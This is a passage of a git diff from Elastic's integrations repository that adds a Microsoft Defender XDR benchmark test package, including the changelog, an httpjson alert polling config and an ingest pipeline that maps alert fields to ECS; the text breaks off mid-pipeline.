pipelines. + type: enhancement + link: https://github.com/elastic/integrations/pull/17435 + - description: Update error message format in ingest pipelines. + type: enhancement + link: https://github.com/elastic/integrations/pull/17435 +- version: "5.6.1" + changes: + - description: Remove duplicate security-solution-default tag references + type: bugfix + link: https://github.com/elastic/integrations/pull/17020 +- version: "5.6.0" + changes: + - description: Change default URL for the `vulnerability` data stream to `https://api.security.microsoft.com`. + type: enhancement + link: https://github.com/elastic/integrations/pull/17276 + - description: >- + Improve documentation with correct links, updated input titles and descriptions for all data streams. Update UI text to reflect updated titles. + type: enhancement + link: https://github.com/elastic/integrations/pull/17276 +- version: "5.5.0" + changes: + - description: >- + Enhance ECS mappings across all datasets. Add navigation panel and refactor the dashboards. + type: enhancement + link: https://github.com/elastic/integrations/pull/16676 +- version: "5.4.0" + changes: + - description: Add support for OAuth2 Endpoint Params option for alert and incident data streams. + type: enhancement + link: https://github.com/elastic/integrations/pull/16628 +- version: "5.3.1" + changes: + - description: Fix table rendering issue in documentation. + type: bugfix + link: https://github.com/elastic/integrations/pull/16615 +- version: "5.3.0" + changes: + - description: >- + Update documentation to reflect recent changes in vulnerability data stream including replacement of the List Vulnerabilities and List Machines API references with the SoftwareVulnerabilitiesExport API, using the modern integrations documentation layout. + type: enhancement + link: https://github.com/elastic/integrations/pull/16152 +- version: "5.2.0" + changes: + - description: Add cloudsecurity_cdr sub category label + type: enhancement + link: https://github.com/elastic/integrations/pull/16146 +- version: "5.1.1" + changes: + - description: Fix construction of `file.path` fields in the incident data stream to conform to ECS. + type: bugfix + link: https://github.com/elastic/integrations/pull/15728 +- version: "5.1.0" + changes: + - description: Add support for OAuth2 Endpoint Params option to vulnerability data stream. + type: enhancement + link: https://github.com/elastic/integrations/pull/15749 + - description: Handle expired URLs in vulnerability data stream. + type: bugfix + link: https://github.com/elastic/integrations/pull/15749 +- version: "5.0.1" + changes: + - description: Update transform to filter out documents containing an error.message from vulnerability latest index + type: bugfix + link: https://github.com/elastic/integrations/pull/15722 +- version: "5.0.0" + changes: + - description: | + Fetch vulnerability data using SoftwareVulnerabilitiesExport API endpoint. + type: enhancement + link: https://github.com/elastic/integrations/pull/15603 + - description: "The following fields are no longer available in the new implementation: \"cloud.provider\", \"cloud.resource_id\", \n\"cloud.instance.id\", \"host.geo\", \"host.ip\", \"host.risk.calculated_level\", \"related.ip\", \n\"vulnerability.description\", \"vulnerability.published_date\", \"vulnerability.score.version\".\n" + type: breaking-change + link: https://github.com/elastic/integrations/pull/15603 +- version: "4.2.0" + changes: + - description: Prevent updating fleet health status to degraded. + type: enhancement + link: https://github.com/elastic/integrations/pull/15415 +- version: "4.1.0" + changes: + - description: Add `vulnerability_workflow` sub category labels. + type: enhancement + link: https://github.com/elastic/integrations/pull/15151 +- version: "4.0.2" + changes: + - description: Ensure large `$skip` API parameter values are correctly formatted in `vulnerability` data stream. + type: bugfix + link: https://github.com/elastic/integrations/pull/15392 + - description: Supress expected empty template health updates. + type: bugfix + link: https://github.com/elastic/integrations/pull/15392 +- version: "4.0.1" + changes: + - description: Extract `process.name` from `process.command_line` in alert, event, and incident data streams. + type: bugfix + link: https://github.com/elastic/integrations/pull/15226 +- version: "4.0.0" + changes: + - description: "Add mapping changes and latest transform in `vulnerability` data stream for \nCloud Detection and Response (CDR) vulnerability workflow.\n" + type: breaking-change + link: https://github.com/elastic/integrations/pull/14809 +- version: "3.14.2" + changes: + - description: Fix handling of empty string IP values. + type: bugfix + link: https://github.com/elastic/integrations/pull/14857 +- version: "3.14.1" + changes: + - description: Fix agent handling of empty and error results in vulnerability data stream. + type: bugfix + link: https://github.com/elastic/integrations/pull/14783 +- version: "3.14.0" + changes: + - description: "Enhanced error handling in the CEL program for API calls to prevent `no such key: product_batch_size` errors \nby ensuring proper propagation of the `product_batch_size` configuration during failures.\n" + type: bugfix + link: https://github.com/elastic/integrations/pull/14722 +- version: "3.13.0" + changes: + - description: Add `process.name` ECS mapping in alert, event, and incident data streams. + type: enhancement + link: https://github.com/elastic/integrations/pull/14448 +- version: "3.12.0" + changes: + - description: Use `terminate` processor instead of `fail` processor to handle agent errors. + type: enhancement + link: https://github.com/elastic/integrations/pull/14393 +- version: "3.11.0" + changes: + - description: | + Rebrand integration to Microsoft Defender XDR to align with Microsoft's current branding. + This is a superficial branding update only and does not affect existing functionalities. + type: enhancement + link: https://github.com/elastic/integrations/pull/14350 +- version: "3.10.0" + changes: + - description: Standardize user fields processing across integrations. + type: enhancement + link: https://github.com/elastic/integrations/pull/14137 +- version: "3.9.1" + changes: + - description: Add temporary processor to remove the fields added by the Agentless policy. + type: bugfix + link: https://github.com/elastic/integrations/pull/14172 +- version: "3.9.0" + changes: + - description: ECS mapping improvements. + type: enhancement + link: https://github.com/elastic/integrations/pull/14085 +- version: "3.8.0" + changes: + - description: Add vulnerability data stream. + type: enhancement + link: https://github.com/elastic/integrations/pull/13595 +- version: "3.7.0" + changes: + - description: Set `device.id` in all datasets and `application.name` in event dataset. + type: enhancement + link: https://github.com/elastic/integrations/pull/13931 +- version: "3.6.0" + changes: + - description: Add `process.entity_id` and `process.parent.entity_id` ECS mappings in all data streams. + type: enhancement + link: https://github.com/elastic/integrations/pull/13984 +- version: "3.5.0" + changes: + - description: Normalize `event.severity` values across EDR integrations. + type: enhancement + link: https://github.com/elastic/integrations/pull/13955 +- version: "3.4.0" + changes: + - description: Set `cloud.instance.id` in event dataset. + type: enhancement + link: https://github.com/elastic/integrations/pull/13769 +- version: "3.3.1" + changes: + - description: Fix default request trace enabled behavior. + type: bugfix + link: https://github.com/elastic/integrations/pull/13712 +- version: "3.3.0" + changes: + - description: Improve `user.name` handling. + type: enhancement + link: https://github.com/elastic/integrations/pull/13554 +- version: "3.2.0" + changes: + - description: Enable request trace log removal. + type: enhancement + link: https://github.com/elastic/integrations/pull/13452 +- version: "3.1.0" + changes: + - description: Improve performance of event ingest pipeline. + type: enhancement + link: https://github.com/elastic/integrations/pull/13335 +- version: "3.0.1" + changes: + - description: Fix `event.category` value for the AdvancedHunting-AlertInfo event. + type: bugfix + link: https://github.com/elastic/integrations/pull/13185 +- version: "2.25.0" + changes: + - description: Add a toggle button for including unknown members in properties of evolvable enum types. + type: enhancement + link: https://github.com/elastic/integrations/pull/13166 +- version: "2.24.0" + changes: + - description: Enable Agentless deployment. + type: enhancement + link: https://github.com/elastic/integrations/pull/12891 +- version: "2.23.0" + changes: + - description: Add email ECS fields to alert data stream. + type: enhancement + link: https://github.com/elastic/integrations/pull/12888 +- version: "2.22.1" + changes: + - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. + type: bugfix + link: https://github.com/elastic/integrations/pull/12781 +- version: "2.22.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12593 +- version: "2.21.1" + changes: + - description: Fix mapping of Defender InternetMessageId and NetworkMessageId values. + type: bugfix + link: https://github.com/elastic/integrations/pull/12546 + - description: Fix removal behavior for ECS-mapped `m365_defender.event.internet_message_id` field. + type: bugfix + link: https://github.com/elastic/integrations/pull/12546 +- version: "2.21.0" + changes: + - description: Add ASN enrichment for IP addresses. + type: enhancement + link: https://github.com/elastic/integrations/pull/12449 +- version: "2.20.0" + changes: + - description: Make token endpoint configurable for Alert data stream. + type: enhancement + link: https://github.com/elastic/integrations/pull/12401 +- version: "2.19.0" + changes: + - description: Add support for `IdentityInfo` advanced hunting table. + type: enhancement + link: https://github.com/elastic/integrations/pull/12214 +- version: "2.18.0" + changes: + - description: Add "preserve_original_event" tag to documents with `event.kind` manually set to "pipeline_error". + type: enhancement + link: https://github.com/elastic/integrations/pull/12109 +- version: "2.17.1" + changes: + - description: Change connection_string to be a secret + type: bugfix + link: https://github.com/elastic/integrations/pull/12112 +- version: "2.17.0" + changes: + - description: Do not remove `event.original` in main ingest pipeline. + type: enhancement + link: https://github.com/elastic/integrations/pull/12076 +- version: "2.16.0" + changes: + - description: Add "preserve_original_event" tag to documents with `event.kind` set to "pipeline_error". + type: enhancement + link: https://github.com/elastic/integrations/pull/12046 +- version: "2.15.2" + changes: + - description: Fix string literals in painless scripts. + type: bugfix + link: https://github.com/elastic/integrations/pull/12047 +- version: "2.15.1" + changes: + - description: Add caseless fields to process events. + type: enhancement + link: https://github.com/elastic/integrations/pull/11020 +- version: "2.15.0" + changes: + - description: Fix OS assignment for Windows devices. + type: bugfix + link: https://github.com/elastic/integrations/pull/10953 + - description: Set `host.os.type` to unix for all POSIX systems without a known platform. + type: enhancement + link: https://github.com/elastic/integrations/pull/10953 +- version: "2.14.7" + changes: + - description: Fix pipeline errors for DNS logs. + type: bugfix + link: https://github.com/elastic/integrations/pull/10947 +- version: "2.14.6" + changes: + - description: Fix dashboard filters to look for correct event.severity values. + type: bugfix + link: https://github.com/elastic/integrations/pull/10810 +- version: "2.14.5" + changes: + - description: Fix mapping issue for DNS answers field. + type: bugfix + link: https://github.com/elastic/integrations/pull/10772 +- version: "2.14.4" + changes: + - description: Fix `host.mac` gsub processor to handle MAC addresses with `-` already present. + type: bugfix + link: https://github.com/elastic/integrations/pull/10798 +- version: "2.14.3" + changes: + - description: Fix sslconnectioninspected event `network.protocol` getting set to `dns`. + type: bugfix + link: https://github.com/elastic/integrations/pull/10730 +- version: "2.14.2" + changes: + - description: Fix `network.transport` and `network.protocol` processing. + type: bugfix + link: https://github.com/elastic/integrations/pull/10418 +- version: "2.14.1" + changes: + - description: Fix process executable containing duplicate process name. + type: bugfix + link: https://github.com/elastic/integrations/pull/10280 +- version: "2.14.0" + changes: + - description: Improve ECS mappings + type: enhancement + link: https://github.com/elastic/integrations/pull/10179 +- version: "2.13.0" + changes: + - description: Removed import_mappings. Update the kibana constraint to ^8.13.0. Modified the field definitions to remove ECS fields made redundant by the ecs@mappings component template. + type: enhancement + link: https://github.com/elastic/integrations/pull/10135 +- version: "2.12.0" + changes: + - description: Make `host.ip` and `host.mac` fields conform to ECS field definition. + type: enhancement + link: https://github.com/elastic/integrations/pull/10120 +- version: "2.11.0" + changes: + - description: Improve detection rules support + type: enhancement + link: https://github.com/elastic/integrations/pull/9860 +- version: "2.10.0" + changes: + - description: Improve handling of empty responses. + type: enhancement + link: https://github.com/elastic/integrations/pull/9974 +- version: "2.9.1" + changes: + - description: Drop last page events in the alerts datastream. + type: bugfix + link: https://github.com/elastic/integrations/pull/9983 +- version: "2.9.0" + changes: + - description: Improve command line analyser. + type: enhancement + link: https://github.com/elastic/integrations/pull/9812 +- version: "2.8.1" + changes: + - description: Resolved ignore_malformed issues with fields. + type: bugfix + link: https://github.com/elastic/integrations/pull/9832 +- version: "2.8.0" + changes: + - description: Set sensitive values as secret and fix incorrect mappings. + type: enhancement + link: https://github.com/elastic/integrations/pull/9127 +- version: "2.7.1" + changes: + - description: Handle invalid IP addresses. + type: bugfix + link: https://github.com/elastic/integrations/pull/9060 +- version: "2.7.0" + changes: + - description: Add support of Alert Data Stream. + type: enhancement + link: https://github.com/elastic/integrations/pull/8950 +- version: "2.6.2" + changes: + - description: Fix cursor value and query building for log data stream. + type: bugfix + link: https://github.com/elastic/integrations/pull/8492 +- version: "2.6.1" + changes: + - description: Changed owners + type: enhancement + link: https://github.com/elastic/integrations/pull/8943 +- version: "2.6.0" + changes: + - description: Add geoip processing to source and destination IP fields. + type: enhancement + link: https://github.com/elastic/integrations/pull/8899 +- version: "2.5.1" + changes: + - description: Fix `process.command_line` overwritten by `process.parent.command_line`. + type: bugfix + link: https://github.com/elastic/integrations/pull/8872 +- version: "2.5.0" + changes: + - description: Limit request tracer log count to five. + type: enhancement + link: https://github.com/elastic/integrations/pull/8489 +- version: 2.4.0 + changes: + - description: ECS version updated to 8.11.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/8434 +- version: 2.3.1 + changes: + - description: Remove renaming the original `message` field to `event.original` + type: bugfix + link: https://github.com/elastic/integrations/pull/8090 +- version: 2.3.0 + changes: + - description: ECS version updated to 8.10.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/7919 +- version: 2.2.0 + changes: + - description: "The format_version in the package manifest changed from 2.11.0 to 3.0.0. Removed dotted YAML keys from package manifest. Added 'owner.type: elastic' to package manifest." + type: enhancement + link: https://github.com/elastic/integrations/pull/7883 +- version: "2.1.0" + changes: + - description: Add tags.yml file so that integration's dashboards and saved searches are tagged with "Security Solution" and displayed in the Security Solution UI. + type: enhancement + link: https://github.com/elastic/integrations/pull/7789 +- version: "2.0.1" + changes: + - description: Fix template snippet escaping and add event.kind for pipeline errors. + type: bugfix + link: https://github.com/elastic/integrations/pull/7707 +- version: "2.0.0" + changes: + - description: Major improvements in ECS field coverage and additional field mappings. + type: enhancement + link: https://github.com/elastic/integrations/pull/7522 +- version: "1.17.1" + changes: + - description: Fix fingerprint processor on `log` datastream to avoid document conflicts + type: bugfix + link: https://github.com/elastic/integrations/pull/7255 +- version: "1.17.0" + changes: + - description: Add support for newer Oauth Token Endpoint and fixes in some ECS mappings. + type: enhancement + link: https://github.com/elastic/integrations/pull/7119 +- version: "1.16.0" + changes: + - description: Update package to ECS 8.9.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/7110 +- version: "1.15.0" + changes: + - description: Document duration units. + type: enhancement + link: https://github.com/elastic/integrations/pull/6992 +- version: "1.14.0" + changes: + - description: Update package-spec to 2.9.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/7123 +- version: "1.13.0" + changes: + - description: Convert dashboards to Lens. + type: enhancement + link: https://github.com/elastic/integrations/pull/6898 +- version: "1.12.0" + changes: + - description: Document valid duration units. + type: enhancement + link: https://github.com/elastic/integrations/pull/6706 +- version: "1.11.2" + changes: + - description: Added the mapping for user.name field into the incident data stream. + type: bugfix + link: https://github.com/elastic/integrations/pull/6731 +- version: "1.11.1" + changes: + - description: Fix event.query type to group + type: bugfix + link: https://github.com/elastic/integrations/pull/6696 +- version: "1.11.0" + changes: + - description: Ensure event.kind is correctly set for pipeline errors. + type: enhancement + link: https://github.com/elastic/integrations/pull/6661 +- version: "1.10.0" + changes: + - description: Update package to ECS 8.8.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/6327 +- version: "1.9.0" + changes: + - description: Add and lowercase host.name field + type: enhancement + link: https://github.com/elastic/integrations/pull/6057 +- version: "1.8.0" + changes: + - description: Add a new flag to enable request tracing + type: enhancement + link: https://github.com/elastic/integrations/pull/6115 +- version: "1.7.1" + changes: + - description: Update event.kind to alert for Incident data stream and handle null value for AttackTechniques field in Event data stream. + type: bugfix + link: https://github.com/elastic/integrations/issues/5744 +- version: "1.7.0" + changes: + - description: Update package to ECS 8.7.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/5765 +- version: "1.6.2" + changes: + - description: Added categories and/or subcategories. + type: enhancement + link: https://github.com/elastic/integrations/pull/5123 +- version: "1.6.1" + changes: + - description: Update datastreams titles and ReadMe. + type: enhancement + link: https://github.com/elastic/integrations/issues/5408 +- version: "1.6.0" + changes: + - description: Add New Event Data Stream. + type: enhancement + link: https://github.com/elastic/integrations/pull/4962 +- version: "1.5.1" + changes: + - description: Drop empty event sets in log data stream. + type: bugfix + link: https://github.com/elastic/integrations/pull/5164 +- version: "1.5.0" + changes: + - description: Update package to ECS 8.6.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/4576 +- version: "1.4.3" + changes: + - description: Update API version for incident data stream. + type: enhancement + link: https://github.com/elastic/integrations/pull/4893 + - description: Mark log data stream as deprecated because it's using the older defender APIs. + type: enhancement + link: https://github.com/elastic/integrations/pull/4893 +- version: "1.4.2" + changes: + - description: Bugfixes for when entities fields are empty. + type: bugfix + link: https://github.com/elastic/integrations/pull/4865 +- version: "1.4.1" + changes: + - description: Remove duplicate fields. + type: bugfix + link: https://github.com/elastic/integrations/pull/4611 +- version: "1.4.0" + changes: + - description: Add New Incident Data Stream. + type: enhancement + link: https://github.com/elastic/integrations/pull/4435 +- version: "1.3.0" + changes: + - description: Update package to ECS 8.5.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/4285 +- version: "1.2.0" + changes: + - description: Update package to ECS 8.4.0 + type: enhancement + link: https://github.com/elastic/integrations/pull/3867 +- version: "1.1.2" + changes: + - description: Fix proxy URL documentation rendering. + type: bugfix + link: https://github.com/elastic/integrations/pull/3881 +- version: "1.1.1" + changes: + - description: Update package name and description to align with standard wording + type: enhancement + link: https://github.com/elastic/integrations/pull/3478 +- version: "1.1.0" + changes: + - description: Update package to ECS 8.3.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/3353 +- version: "1.0.4" + changes: + - description: Update duplication handling to also support Redirect type alerts + type: bugfix + link: https://github.com/elastic/integrations/pull/3194 +- version: "1.0.3" + changes: + - description: Add duplication handling in ingest pipeline + type: bugfix + link: https://github.com/elastic/integrations/pull/3194 +- version: "1.0.2" + changes: + - description: Fix mapping for comments field and add missing fields + type: bugfix + link: https://github.com/elastic/integrations/pull/3181 +- version: "1.0.1" + changes: + - description: Add documentation for multi-fields + type: enhancement + link: https://github.com/elastic/integrations/pull/2916 +- version: "1.0.0" + changes: + - description: First version + type: enhancement + link: https://github.com/elastic/integrations/pull/2854 diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/agent/stream/httpjson.yml.hbs b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/agent/stream/httpjson.yml.hbs new file mode 100644 index 0000000000..f5684a1dc9 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/agent/stream/httpjson.yml.hbs @@ -0,0 +1,76 @@ +config_version: 2 +interval: {{interval}} +request.tracer: + enabled: {{enable_request_tracer}} + filename: "../../logs/httpjson/http-request-trace-*.ndjson" + maxbackups: 5 +auth.oauth2.client.id: {{client_id}} +auth.oauth2.client.secret: {{client_secret}} +auth.oauth2.token_url: {{login_url}}/{{tenant_id}}/{{token_endpoint}} +auth.oauth2.scopes: {{request_url}}/.default +{{#if oauth_endpoint_params}} +auth.oauth2.endpoint_params: {{oauth_endpoint_params}} +{{/if}} +request.url: {{request_url}}/v1.0/security/alerts_v2 +{{#if http_client_timeout}} +request.timeout: {{http_client_timeout}} +{{/if}} +{{#if proxy_url}} +request.proxy_url: {{proxy_url}} +{{/if}} +{{#if ssl}} +request.ssl: {{ssl}} +{{/if}} +request.transforms: + - set: + target: url.params.$top + value: {{batch_size}} + - set: + target: url.params.$skip + value: 0 + - set: + target: url.params.$filter + value: 'lastUpdateDateTime ge [[.cursor.last_update_time]]' + default: 'lastUpdateDateTime ge [[formatDate (now (parseDuration "-{{initial_interval}}"))]]' + - set: + target: url.params.$orderby + value: 'lastUpdateDateTime asc' +{{#if include_unknown_enum_members}} + - set: + target: "header.Prefer" + value: 'include-unknown-enum-members' +{{/if}} +response.pagination: + - set: + target: url.params.$filter + value: '[[.last_response.url.params.Get "$filter"]]' + fail_on_template_error: true + do_not_log_failure: true + - set: + target: url.params.$skip + value: '[[if (eq (len .last_response.body.value) {{batch_size}})]][[add (toInt (.last_response.url.params.Get "$skip")) {{batch_size}}]][[end]]' + fail_on_template_error: true + do_not_log_failure: true +response.split: + target: body.value + ignore_empty_value: true +cursor: + last_update_time: + value: '[[.last_event.lastUpdateDateTime]]' +tags: +{{#if preserve_original_event}} + - preserve_original_event +{{/if}} +{{#if preserve_duplicate_custom_fields}} + - preserve_duplicate_custom_fields +{{/if}} +{{#each tags as |tag|}} + - {{tag}} +{{/each}} +{{#contains "forwarded" tags}} +publisher_pipeline.disable_host: true +{{/contains}} +{{#if processors}} +processors: +{{processors}} +{{/if}} diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/elasticsearch/ingest_pipeline/default.yml b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/elasticsearch/ingest_pipeline/default.yml new file mode 100644 index 0000000000..ee0b02a171 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/elasticsearch/ingest_pipeline/default.yml @@ -0,0 +1,2860 @@ +--- +description: Pipeline for processing Alert logs. +processors: + - remove: + field: + - organization + - division + - team + ignore_missing: true + if: ctx.organization instanceof String && ctx.division instanceof String && ctx.team instanceof String + tag: remove_agentless_tags + description: >- + Removes the fields added by Agentless as metadata, + as they can collide with ECS fields. + - set: + field: ecs.version + tag: set_ecs_version + value: '8.11.0' + - set: + field: event.kind + tag: set_event_kind + value: alert + - rename: + field: message + tag: rename_message_to_event_original + target_field: event.original + ignore_missing: true + if: ctx.event?.original == null + - remove: + tag: remove_message_2ee3a7d4 + field: message + ignore_missing: true + if: 'ctx.event?.original != null' + description: 'The `message` field is no longer required if the document has an `event.original` field.' + - json: + field: event.original + tag: json_event_original + target_field: json + on_failure: + - append: + tag: append_error_message_cea45f41 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - drop: + tag: drop_if_event_is_malformed + description: | + If an empty 'value' array exists, it means the input did not split correctly because we have + no more alerts and the event can be ignored. + if: ctx.json?.value instanceof List && ctx.json.value.length == 0 + - fail: + tag: fail_if_value_array_has_elements + description: | + If we get here and the 'value' array has elements it means there is an error in the input + configuration. + if: ctx.json?.value instanceof List && ctx.json.value.length > 0 + message: | + There is an unexpected 'value' array with elements. + This indicates a misconfiguration of the input. + - fingerprint: + fields: + - json.id + - json.lastUpdateDateTime + - json.incidentId + - json.providerAlertId + tag: fingerprint_processor + target_field: _id + ignore_missing: true + - script: + lang: painless + description: Drops empty string values recursively. + tag: painless_remove_empty_from_evidence + if: ctx.json?.evidence != null + source: |- + boolean drop(Object object) { + if (object == '') { + return true; + } else if (object instanceof Map) { + ((Map) object).values().removeIf(v -> drop(v)); + return (((Map) object).size() == 0); + } else if (object instanceof List) { + ((List) object).removeIf(v -> drop(v)); + return (((List) object).length == 0); + } + return false; + } + drop(ctx.json.evidence); + - script: + description: Dynamically map event.category and event.type field from evidence. + tag: script_to_set_event_category_and_type + lang: painless + if: ctx.json?.evidence instanceof List + params: + '#microsoft.graph.security.analyzedMessageEvidence': email + '#microsoft.graph.security.mailboxEvidence': email + '#microsoft.graph.security.mailClusterEvidence': email + '#microsoft.graph.security.deviceEvidence': host + '#microsoft.graph.security.fileEvidence': file + '#microsoft.graph.security.ipEvidence': network + '#microsoft.graph.security.processEvidence': process + '#microsoft.graph.security.registryValueEvidence': registry + '#microsoft.graph.security.registryKeyEvidence': registry + '#microsoft.graph.security.userEvidence': iam + '#microsoft.graph.security.securityGroupEvidence': iam + malware: malware + malicioususeractivity: malware + phishing: email + apt: threat + source: > + def eventCategory = new HashSet(); + def eventType = new HashSet(); + for (evidence in ctx.json.evidence) { + String mapping = params[evidence["@odata.type"]]; + if (mapping != null) { + eventCategory.add(mapping); + if(eventCategory.contains('registry')){ + eventType.add('access'); + } + else if(eventCategory.contains('threat')){ + eventType.add('indicator'); + } + else{ + eventType.add('info'); + } + } + } + if(ctx.json?.determination != null){ + String mapping = params[ctx.json.determination.toLowerCase()]; + if(mapping != null) { + eventCategory.add(mapping); + if(eventCategory.contains('threat')){ + eventType.add('indicator'); + } + else{ + eventType.add('info'); + } + } + } + if (!eventType.isEmpty()) { + def type = new ArrayList(); + for(def t:eventType) { + type.add(t); + } + Collections.sort(type); + ctx.event.type = type; + } + if (!eventCategory.isEmpty()) { + def category = new ArrayList(); + for(def c:eventCategory) { + category.add(c); + } + Collections.sort(category); + ctx.event.category = category; + } + - dot_expander: + field: '@odata.type' + tag: dot_expander_@odata_type + path: json + override: true + on_failure: + - append: + tag: append_error_message_7172c928 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.@odata.type + tag: rename_@odata_type + target_field: m365_defender.alert.odata_type + ignore_missing: true + - date: + field: json.lastUpdateDateTime + tag: date_lastUpdateDateTime + formats: + - ISO8601 + if: ctx.json?.lastUpdateDateTime != null && ctx.json.lastUpdateDateTime != '' + on_failure: + - append: + tag: append_error_message_68a7a0b9 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: m365_defender.alert.last_update_datetime + tag: set_last_update_datetime + copy_from: '@timestamp' + ignore_empty_value: true + - rename: + field: json.description + tag: rename_description + target_field: m365_defender.alert.description + ignore_missing: true + - set: + field: message + tag: set_message + copy_from: m365_defender.alert.description + ignore_empty_value: true + - rename: + field: json.tenantId + tag: rename_tenantId + target_field: m365_defender.alert.tenant_id + ignore_missing: true + - set: + field: cloud.account.id + tag: set_cloud_account_id + copy_from: m365_defender.alert.tenant_id + ignore_empty_value: true + - date: + field: json.createdDateTime + tag: date_createdDateTime + target_field: m365_defender.alert.created_datetime + formats: + - ISO8601 + if: ctx.json?.createdDateTime != null && ctx.json.createdDateTime != '' + on_failure: + - append: + tag: append_error_message_686dd3a2 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: event.created + tag: set_event_created + copy_from: m365_defender.alert.created_datetime + ignore_empty_value: true + - date: + field: json.lastActivityDateTime + tag: date_lastActivityDateTime + target_field: m365_defender.alert.last_activity_datetime + formats: + - ISO8601 + if: ctx.json?.lastActivityDateTime != null && ctx.json.lastActivityDateTime != '' + on_failure: + - append: + tag: append_error_message_8b559792 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: event.end + tag: set_event_end + copy_from: m365_defender.alert.last_activity_datetime + ignore_empty_value: true + - rename: + field: json.id + tag: rename_id + target_field: m365_defender.alert.id + ignore_missing: true + - set: + field: event.id + tag: set_event_id + copy_from: m365_defender.alert.id + ignore_empty_value: true + - rename: + field: json.serviceSource + tag: rename_serviceSource + target_field: m365_defender.alert.service_source + ignore_missing: true + - set: + field: event.provider + tag: set_event_provider + copy_from: m365_defender.alert.service_source + ignore_empty_value: true + - rename: + field: json.severity + tag: rename_severity + target_field: m365_defender.alert.severity + ignore_missing: true + - script: + lang: painless + description: Script to set event.severity. + tag: set_event_severity + if: ctx.m365_defender?.alert?.severity instanceof String + source: |- + ctx.event = ctx.event ?: [:]; + String risk_score_value = ctx.m365_defender.alert.severity; + if (risk_score_value.equalsIgnoreCase("low") || risk_score_value.equalsIgnoreCase("informational")) { + ctx.event.severity = 21; + } else if (risk_score_value.equalsIgnoreCase("medium")) { + ctx.event.severity = 47; + } else if (risk_score_value.equalsIgnoreCase("high")) { + ctx.event.severity = 73; + } else if (risk_score_value.equalsIgnoreCase("critical")) { + ctx.event.severity = 99; + } + on_failure: + - append: + tag: append_error_message_7616b08e + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - date: + field: json.firstActivityDateTime + tag: date_firstActivityDateTime + target_field: m365_defender.alert.first_activity_datetime + formats: + - ISO8601 + if: ctx.json?.firstActivityDateTime != null && ctx.json.firstActivityDateTime != '' + on_failure: + - append: + tag: append_error_message_7c22fa58 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: event.start + tag: set_event_start + copy_from: m365_defender.alert.first_activity_datetime + ignore_empty_value: true + - script: + description: Determine event.duration from starting and ending activity timestamp. + tag: script_event_duration + lang: painless + if: ctx.event?.start != null && ctx.event?.end != null + source: | + Instant eventstart = ZonedDateTime.parse(ctx.event?.start).toInstant(); + Instant eventend = ZonedDateTime.parse(ctx.event?.end).toInstant(); + ctx.event['duration'] = ChronoUnit.NANOS.between(eventstart, eventend); + - uri_parts: + field: json.alertWebUrl + tag: uri_parts_alertWebUrl + target_field: m365_defender.alert.web_url + if: ctx.json?.alertWebUrl != null + keep_original: true + on_failure: + - remove: + tag: remove_json_alertWebUrl_12dda30b + field: json.alertWebUrl + - append: + tag: append_error_message_ce0a2478 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: event.url + tag: set_event_url + copy_from: m365_defender.alert.web_url.original + ignore_empty_value: true + - rename: + field: json.assignedTo + tag: rename_assignedTo + target_field: m365_defender.alert.assigned_to + ignore_missing: true + - append: + field: related.user + tag: append_related_user + value: '{{{m365_defender.alert.assigned_to}}}' + if: ctx.m365_defender?.alert?.assigned_to != null + allow_duplicates: false + - set: + field: source.user.name + tag: set_source_user_name + copy_from: m365_defender.alert.assigned_to + ignore_empty_value: true + - rename: + field: json.threatFamilyName + tag: rename_threatFamilyName + target_field: m365_defender.alert.threat_family_name + ignore_missing: true + - rename: + field: json.category + tag: rename_category + target_field: m365_defender.alert.category + ignore_missing: true + - append: + field: threat.tactic.name + tag: append_threat_tactic_name + value: '{{{m365_defender.alert.category}}}' + if: ctx.m365_defender?.alert?.category != null + allow_duplicates: false + - rename: + field: json.mitreTechniques + tag: rename_mitreTechniques + target_field: m365_defender.alert.mitre_techniques + ignore_missing: true + - set: + field: threat.technique.subtechnique.id + tag: 